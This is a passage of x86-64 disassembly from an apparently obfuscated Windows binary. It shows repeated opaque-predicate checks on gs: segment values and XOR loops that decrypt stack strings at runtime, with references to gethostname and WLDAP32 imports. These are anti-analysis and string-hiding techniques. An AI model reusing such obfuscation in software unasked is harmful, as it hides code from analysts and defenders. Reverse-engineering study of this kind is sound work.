cmp r9d, 8
jl 0x14003f05e
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd10], rax
lea rcx, [r8 + r11]
mov r8, r12
mov rax, r12
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14003f3fe
inc edi
cmp edi, 5
jl 0x14003f11b
movdqa xmm0, xmmword [0x14010a1d0]
movdqu xmmword [rbp + 0x9e8], xmm0
movdqa xmm1, xmmword [0x140109f30]
movdqu xmmword [rbp + 0x9f8], xmm1
mov byte [rbp + 0xa08], Ordinal_200
mov byte [rbp + 0xa09], 0xae
mov byte [rbp + 0xa0a], 0x7e
mov byte [rbp + 0xa0b], gethostname
mov byte [rbp + 0xa0c], Ordinal_79
mov byte [rbp + 0xa0d], 0xee
mov byte [rbp + 0xa0e], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xa0f], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0xa10], 0xe9
mov byte [rbp + 0xa11], 0x59
mov byte [rbp + 0xa12], 0x5d
mov byte [rbp + 0xa13], 0x5d
xor eax, eax
mov byte [rbp + 0xa14], al
mov r8, rbx
movabs r9, 0x2bc98ef31c
lea r10d, [rax + 0x2c]
movabs r11, 0x8080808080808081
mov r12d, 0xfec33fb5
mov r13d, 0xfec33fb4
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x9e8], dil
inc r8
add r9, r12
add r10, 0x2c
movabs rax, 0x57931de638
cmp r9, rax
jb 0x14003f225
mov byte [rbp + 0xa14], bl
lea rdx, [rbp + 0x9e8]
lea rcx, [rbp + 0xfd0]
call fcn.1400054a8
mov rax, qword gs:[0xd]
mov r10d, 0xdb9fe8e7
cmp rax, r10
movabs r12, 0x5f8937e3e
movabs r13, 0xbf126fc7c
jne 0x14003f414
mov r8, rbx
mov ecx, 1
lea r9d, [rcx + 4]
mov r11d, 0xbd2ec3eb
mov rax, r11
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add r8, rax
mov rdi, qword gs:[7]
movzx eax, r8b
xor rdi, rax
inc rcx
sub r9, 1
jne 0x14003f2e3
xor rdi, 0x232356cd
mov rcx, rdi
imul rcx, r11
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r10
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
movabs r11, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r10
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14003f409
inc edi
cmp edi, 7
jl 0x14003f383
jmp 0x14003f41e
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
movabs r11, 0x2aaaaaaaaaaaaaab
mov rax, qword gs:[0xd]
cmp rax, r10
jne 0x14003f55a
mov rdi, rbx
mov r8d, r14d
mov r9, r15
movabs r10, 0xc9120f8b6b5ff569
dec r8d
dec r9
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14003f481
dec ecx
or ecx, 0xfffffffc
inc ecx
mov rax, r10
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14003f443
mov rax, rdi
xor rax, rdi
mov r10d, 0xdb9fe8e7
xor rax, r10
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov eax, 0xbd2ec3eb
or rcx, rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x232356cd
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, r10
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r10
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140040c90
inc edi
mov eax, 0xa
cmp edi, eax
jl 0x14003f4ef
lea rcx, [rbp + 0x800]
call fcn.14003b074
mov rdi, rax
lea rcx, [rsp + 0x70]
call fcn.1400055b8
mov qword [rsp + 0x20], rax
mov r9d, 8
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0xff0]
call fcn.1400520bc
lea rcx, [rbp + 0x800]
call fcn.140051ff8
lea rcx, [rbp + 0x800]
call fcn.140005ad8
mov rax, qword gs:[0xd]
mov r11d, 0xdb9fe8e7
cmp rax, r11
jne 0x14003f714
mov r8, rsi
mov rdi, rbx
mov r9d, ebx
mov r10d, r11d
movabs r12, 0x2aaaaaaaaaaaaaab
mov r13d, 0xffafffef
mov ecx, r9d
mov rdx, r11
shl rdx, cl
mov eax, 0x232356cd
sar rax, cl
or rdx, rax
xor r8, rdx
mov rax, r12
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, r13
xor rcx, rax
add rdi, rcx
inc r9d
inc r10
cmp r9d, 8
jl 0x14003f5dc
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd10], rax
lea rcx, [r8 + r11]
mov r8, r12
mov rax, r12
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
movabs r12, 0x5f8937e3e
movabs r13, 0xbf126fc7c
movsxd rcx, edi
add rcx, r11
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140040c9b
inc edi
cmp edi, 5
jl 0x14003f6ad
mov rax, qword gs:[0xd]
cmp rax, r11
jne 0x14003f87a
mov r8, rsi
mov rdi, rbx
mov r9d, ebx
mov r10, r11
movabs r12, 0x2aaaaaaaaaaaaaab
mov r13d, 0xffafffef
mov ecx, r9d
mov rdx, r11
shl rdx, cl
mov eax, 0x232356cd
sar rax, cl
or rdx, rax
xor r8, rdx
mov rax, r12
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, r13
xor rcx, rax
add rdi, rcx
inc r9d
inc r10
cmp r9d, 8
jl 0x14003f742
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd10], rax
lea rcx, [r8 + r11]
mov r8, r12
mov rax, r12
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
movabs r12, 0x5f8937e3e
movabs r13, 0xbf126fc7c
movsxd rcx, edi
add rcx, r11
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140040ca6
inc edi
cmp edi, 5
jl 0x14003f813
mov byte [rbp - 0x30], 0xda
mov byte [rbp - 0x2f], 0x45
mov byte [rbp - 0x2e], 5
mov byte [rbp - 0x2d], 0xf5
mov byte [rbp - 0x2c], Ordinal_79
mov byte [rbp - 0x2b], 0xf8
xor eax, eax
mov byte [rbp - 0x2a], al
mov r8, rbx
mov r9, r12
lea r10d, [rax + 6]
movabs r11, 0x8080808080808081
mov r15d, 0xfec33fb5
mov r12d, 0xfec33fb4
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 - 0x30]
xor dil, r8b
mov byte [rbp + r8 - 0x30], dil
inc r8
add r9, r15
add r10, 6
cmp r9, r13
jb 0x14003f8b7
mov byte [rbp - 0x2a], bl
mov byte [rbp - 0x28], 0xc3
mov byte [rbp - 0x27], 0x57
mov byte [rbp - 0x26], 5
mov byte [rbp - 0x25], 0xf5
mov byte [rbp - 0x24], Ordinal_79
mov byte [rbp - 0x23], 0xf8
xor eax, eax
mov byte [rbp - 0x22], al
mov r8, rbx
lea r9d, [rax + 6]
mov r12, qword [rsp + 0x60]
mov rsi, r15
mov ebx, 0xfec33fb4
mov r15d, 0xdb9fe8f7
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r12
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r12
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 - 0x28]
xor dil, r8b
mov byte [rbp + r8 - 0x28], dil
inc r8
add r12, rsi
add r9, 6
cmp r12, r13
jb 0x14003f950
xor ebx, ebx
mov byte [rbp - 0x22], bl
lea r8, [rbp - 0x28]
lea rdx, [rbp + 0xfd0]
lea rcx, [rbp + 0x820]
call fcn.1400523c4
lea rdx, [rbp + 0xff0]
mov rcx, rax
call fcn.14005192c
mov rdx, rax
lea rcx, [rbp + 0x840]
call fcn.140051a80
lea rcx, [rbp - 0x30]
call fcn.140005610
mov rcx, rax
call fcn.1400055b8
mov r8, rax
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x840]
call fcn.1400518a8
mov rdx, rax
lea rcx, [rbp + 0x860]
call fcn.140051a80
lea rdx, [0x14011db30]
lea rcx, [rbp + 0x860]
call fcn.14005192c
mov rdx, rax
lea rcx, [rbp + 0x1010]
call fcn.140051a80
lea rcx, [rbp + 0x860]
call fcn.140051ff8
lea rcx, [rbp + 0x860]
call fcn.140005ad8
lea rcx, [rbp + 0x840]
call fcn.140051ff8
lea rcx, [rbp + 0x840]
call fcn.140005ad8
lea rcx, [rbp + 0x820]
call fcn.140051ff8
lea rcx, [rbp + 0x820]
call fcn.140005ad8
mov rax, qword gs:[0xd]
mov r10d, 0xdb9fe8e7
cmp rax, r10
mov esi, 0x9e0d9526
lea r12d, [rbx + 1]
movabs r11, 0x2aaaaaaaaaaaaaab
jne 0x14003fbdd
mov edi, ebx
mov r8d, r14d
mov r9, r15
movabs r10, 0xc9120f8b6b5ff569
sub r8d, r12d
sub r9, r12
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14003fb03
sub ecx, r12d
or ecx, 0xfffffffc
add ecx, r12d
mov rax, r10
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14003fac3
mov rax, rdi
xor rax, rdi
mov r10d, 0xdb9fe8e7
xor rax, r10
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov eax, 0xbd2ec3eb
or rcx, rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x232356cd
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, r10
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r10
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140040cb1
add edi, r12d
mov eax, 0xa
cmp edi, eax
jl 0x14003fb71
mov rax, qword gs:[0xd]
cmp rax, r10
jne 0x14003fd1c
mov rdi, rbx
mov r8d, r14d
mov r9, r15
movabs r10, 0xc9120f8b6b5ff569
sub r8d, r12d
sub r9, r12
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14003fc42
sub ecx, r12d
or ecx, 0xfffffffc
add ecx, r12d
mov rax, r10
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14003fc02
mov rax, rdi
xor rax, rdi
mov r10d, 0xdb9fe8e7
xor rax, r10
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov eax, 0xbd2ec3eb
or rcx, rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x232356cd
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, r10
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r10
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140040cbc
add edi, r12d
mov eax, 0xa
cmp edi, eax
jl 0x14003fcb0
lea rcx, [rbp + 0xff0]
call fcn.1400517f8
mov rcx, rax
xor edx, edx
lea r8d, [rdx + 0xa]
call fcn.1400c1ae0
mov rax, qword gs:[0xd]
mov r11d, 0xdb9fe8e7
cmp rax, r11
jne 0x14003fea1
mov r10, rsi
mov rdi, rbx
mov r8d, ebx
mov r9d, r11d
movabs r13, 0x2aaaaaaaaaaaaaab
mov r15d, 0xffafffef
mov ecx, r8d
mov rdx, r11
shl rdx, cl
mov eax, 0x232356cd
sar rax, cl
or rdx, rax
xor r10, rdx
mov rax, r13
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, r15
xor rcx, rax
add rdi, rcx
add r8d, r12d
add r9, r12
cmp r8d, 8
jl 0x14003fd6a
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, r11
mov r10, r13
mov rax, r13
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
movabs r13, 0xbf126fc7c
mov r15d, 0xdb9fe8f7
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140040cc7
add edi, r12d
cmp edi, 5
jl 0x14003fe39
mov rax, qword gs:[0xd]
cmp rax, r11
jne 0x14003ffcf
mov r8, rbx
mov rcx, r12
mov r9d, 5
mov r10d, 0xbd2ec3eb
mov rax, r10
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add r8, rax
mov rdi, qword gs:[7]
movzx eax, r8b
xor rdi, rax
add rcx, r12
sub r9, r12
jne 0x14003fec5
xor rdi, 0x232356cd
mov rcx, rdi
mov rax, r10
imul rcx, rax
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r11
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
movabs r10, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140040cd2
add edi, r12d
cmp edi, 7
jl 0x14003ff67
mov dl, byte [rsp + 0x70]
lea rcx, [rbp + 0x1030]
call fcn.140005560
lea rcx, [rbp + 0x1030]
call fcn.140052094
nop
mov rax, qword gs:[0xd]
mov r11d, 0xdb9fe8e7
cmp rax, r11
jne 0x14004013b
mov rdi, rbx
mov r8d, r14d
mov r9, r15
movabs r10, 0x2aaaaaaaaaaaaaab
movabs r11, 0xc9120f8b6b5ff569
sub r8d, r12d
sub r9, r12
mov rax, r10
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140040061
sub ecx, r12d
or ecx, 0xfffffffc
add ecx, r12d
mov rax, r11
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140040021
mov rax, rdi
xor rax, rdi
mov r11d, 0xdb9fe8e7
xor rax, r11
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov eax, 0xbd2ec3eb
or rcx, rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x232356cd
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, r11
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140040cdd
add edi, r12d
mov eax, 0xa
cmp edi, eax
jl 0x1400400cf
mov rax, qword gs:[0xd]
cmp rax, r11
jne 0x14004029a
mov r10, rsi
mov rdi, rbx
mov r8d, ebx
mov r9, r11
movabs r13, 0x2aaaaaaaaaaaaaab
mov r15d, 0xffafffef
mov edx, 0x232356cd
mov ecx, r8d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r13
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, r15
xor rcx, rax
add rdi, rcx
add r8d, r12d
add r9, r12
cmp r8d, 8
jl 0x140040169
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, r11
mov r8, r13
mov rax, r13
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
movabs r13, 0xbf126fc7c
movsxd rcx, edi
add rcx, r11
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140040ce8
add edi, r12d
cmp edi, 5
jl 0x140040232
lea rcx, [rbp + 0x1010]
call fcn.1400517f8
mov rdx, rax
lea rcx, [rbp + 0x880]
call fcn.1400054a8
mov rcx, rax
xor r8d, r8d
lea rdx, [rbp + 0x1030]
call fcn.140039ee4
mov r11d, eax
mov rax, qword gs:[0xd]
mov r10d, 0xdb9fe8e7
cmp rax, r10
jne 0x140040401
mov r8, rbx
mov rcx, r12
mov r9d, 5
mov r10d, 0xbd2ec3eb
mov rax, r10
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add r8, rax
mov rdi, qword gs:[7]
movzx eax, r8b
xor rdi, rax
add rcx, r12
sub r9, r12
jne 0x1400402f4
xor rdi, 0x232356cd
mov rcx, rdi
mov rax, r10
imul rcx, rax
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
mov r10d, 0xdb9fe8e7
xor rcx, r10
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
movsxd rcx, edi
add rcx, r10
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140040cf3
add edi, r12d
cmp edi, 7
jl 0x140040392
test r11d, r11d
je 0x140040682
movdqa xmm0, xmmword [0x140109f40]
movdqu xmmword [rbp + 0x6e0], xmm0
mov byte [rbp + 0x6f0], 0x42
mov byte [rbp + 0x6f1], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x6f2], 0xb7
mov byte [rbp + 0x6f3], 0xe2
mov byte [rbp + 0x6f4], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x6f5], Ordinal_79
mov byte [rbp + 0x6f6], 0x9f
mov byte [rbp + 0x6f7], 0x5a
mov byte [rbp + 0x6f8], Ordinal_211
xor eax, eax
mov byte [rbp + 0x6f9], al
mov r8, rbx
mov esi, 0xfec33fb5
lea r10d, [rax + 0x19]
movabs r9, 0x18e11138ad
movabs r15, 0x8080808080808081
mov r13d, 0xfec33fb4
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x6e0]
xor dil, r8b
mov byte [rbp + r8 + 0x6e0], dil
add r8, r12
add r9, rsi
add r10, 0x19
movabs rax, 0x31c222715a
cmp r9, rax
jb 0x140040487
mov byte [rbp + 0x6f9], bl
mov r8d, r12d
mov edx, r11d
lea rcx, [rbp + 0x6e0]
call fcn.140039734
mov rax, qword gs:[0xd]
mov r11d, 0xdb9fe8e7
cmp rax, r11
mov esi, 0x9e0d9526
movabs r13, 0xbf126fc7c
jne 0x140040682
mov r10d, esi
mov rdi, rbx
mov r8d, ebx
mov r9d, r11d
movabs r13, 0x2aaaaaaaaaaaaaab
mov r15d, 0xffafffef
mov edx, 0x232356cd
mov ecx, r8d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r13
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, r15
xor rcx, rax
add rdi, rcx
add r8d, r12d
add r9, r12
cmp r8d, 8
jl 0x140040551
mov rcx, rdi
xor rcx, r10
mov rax, rcx
